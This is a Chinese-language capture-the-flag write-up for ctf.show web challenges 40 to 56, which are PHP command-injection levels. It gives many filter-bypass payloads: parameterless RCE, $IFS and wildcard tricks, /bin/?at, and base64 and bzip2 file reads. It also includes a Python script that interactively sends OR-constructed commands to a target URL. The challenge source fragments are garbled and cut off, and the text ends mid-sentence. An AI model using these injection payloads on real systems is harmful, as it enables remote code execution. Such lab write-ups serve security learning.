payload:
?c=data://text/plain,
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了，所以后面的.php会被当成html页面直接显示在页面上，起不到什么 作用
web40~无参数读文件
|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}过滤了引号、$、冒号，还不能用伪协议。
一般括号里参数都要用引号，这里学习一下无参数RCE(remote command/code execute)。
无参数的意思可以是a()、a(b())或a(b(c()))，但不能是a('b')或a('b','c')，不能带参数。
详情看这里：
payload:
c=readfile(next(array_reverse(scandir(getcwd()))));
# 多刷新几次
c=readfile(array_rand(array_flip(scandir(getcwd()))));
readfile(array_rand(array_flip(scandir(current(localeconve())))));
wp：
c=session_start();system(session_id());
passid=ls
web41~异或绕过
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用，同时过滤了字母和数字。但是特意留了个或运算符|。我们可以尝试从ascii为0-255的字符中，找到或运算能得到我们可用的字符的字符。这里先给出两个脚本 exp.py rce_or.php，大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。生成可用字符的集-合
=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);大体意思就是从进行异或的字符中排除掉被过滤的，然后在判断异或得到的字符是否为可见字符传递参数getflag用法python exp.py
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER：python exp.py ')
print("eg： python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function：") )+action(input("[+] your command："))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)https://blog.csdn.net/miuzzx/article/details/108569080
web42~/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
payload:
c=ls;
c=cat flag.php;
web43~/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤分号和cat使用 换行符%0a
?c=ls%0a
?c=tac flag.php%0a
说一下为啥system()函数要用的分号或者截断，因为不用的话输入的语句就和后边的>/dev/null 2>&1拼接起来了。最后不关输入啥都会把结果输出到/dev/null。
详情看这里： https://www.cnblogs.com/520playboy/p/6275022.html
web44~>/dev/null过滤; cat flag
/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}过滤;、cat、flag
结合前面的，直接：
?c=tac f*%0a
web45~>/dev/null多过滤空格
/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}多过滤了个空格。
payload:
?c=tac%09f*%0a
?c=tac$IFS\f*%0A
# 这里 f 前面不加 反斜杠的话就出不来，可能是会被前面的解析到一起吧。
?c=more${IFS}f*%0aIFS: https://www.xuebuyuan.com/3197835.html
web46~多过滤数字 $ *
/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}多过滤了数字、$ 、*
意味着不能用shell中变量了。
payload:
?c=tac%09fla?.php%0a
nlweb47~多过滤读取函数
/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}多过滤了 more 、less 、 head 、sort 、tail 。
但是 tac 、od 、uniq 等没被过滤
od 读文件 https://www.cnblogs.com/wfwenchao/p/5188720.html
payload:
?c=tac%09fla?.php%0a
?c=nl%09fla?.php%0a
?c=nlweb48~多过滤函数
/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}多过滤了一些读取函数。
payload:
?c=tac%09fla?.php%0a
?c=tacweb49~多过滤反引号
/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}多过滤反引号。
payload 同上关一样。
web50~多过滤% x09 x26
/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}多过滤%、09、26
?c=tacfla\g.php%0a
web51~多过滤tac
/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}这回额外过滤了tac,但是我们还可以用nl
?c=nlweb52~多过滤重定向符但没过滤 $
|\/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}额外过滤了 重定向符< >,但是这里没过滤$
去查?c=nl${IFS}fla\g.php%0a得到$flag="flag_here";得到了一个假的flag.
查询根目录有啥文件
?c=ls${IFS}/%0a
# bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
?c=nl${IFS}/fla''g%0aweb53
|\".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}也没多过滤啥。。
?c=ls%0a得到
ls flag.php index.php readflag
readflag
payload:
?c=ls%0a
?c=nlweb54~/bin/?at 绕过
|\多过滤了一些查看文件指令。
payload:
?c=paste${IFS}fla?.php%0a
?c=/bin/?at${IFS}f?ag.php%0a
?c=/bin/?at${IFS}f???????web55~过滤所有小写字母
|\直接过滤了所有小写字母！！！。
那么这里肯定是要无字符 rce 。
但是这里没有过滤通配符，所以可以找到一个带有数字的命令，利用通配符执行命令。
base64的使用
有个命令是/bin/base64，我们可以据此构造
?c=/???/????64 ????????
得到
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMg QERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhh DQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBo MXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxh Zz0iZmxhZ3tlYTY0MTJlZi03NGY3LTQ1ZjItYWJiYS05M2Y2ODZkOTkwZDh9Ijs=
解码即得到flag.
bzip2
bzip2 是 linux 下面的压缩文件的命令。在/usr/bin/bzip2
构造
?C=/???/???/????2 ????????
然后访问flag.php.bz2下载即可获得 flag.php
临时文件上传
https://www.gem-love.com/websecurity/1407.html
https://blog.csdn.net/qq_46091464/article/details/108557067
web56~临时文件
|\多过滤数字，所以用不了上题的前两种方法。这里只能详细写一下上题的第三种方法了。
我们可以通过post一个文件(文件里面的sh命令)，在上传的过程中，通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。（可以通过linux的匹配符去匹配）注意：通过.去执行sh命令不需要有执行权限
我们需要构造一个post上传文件的数据包。
POST数据包POC
文件名：
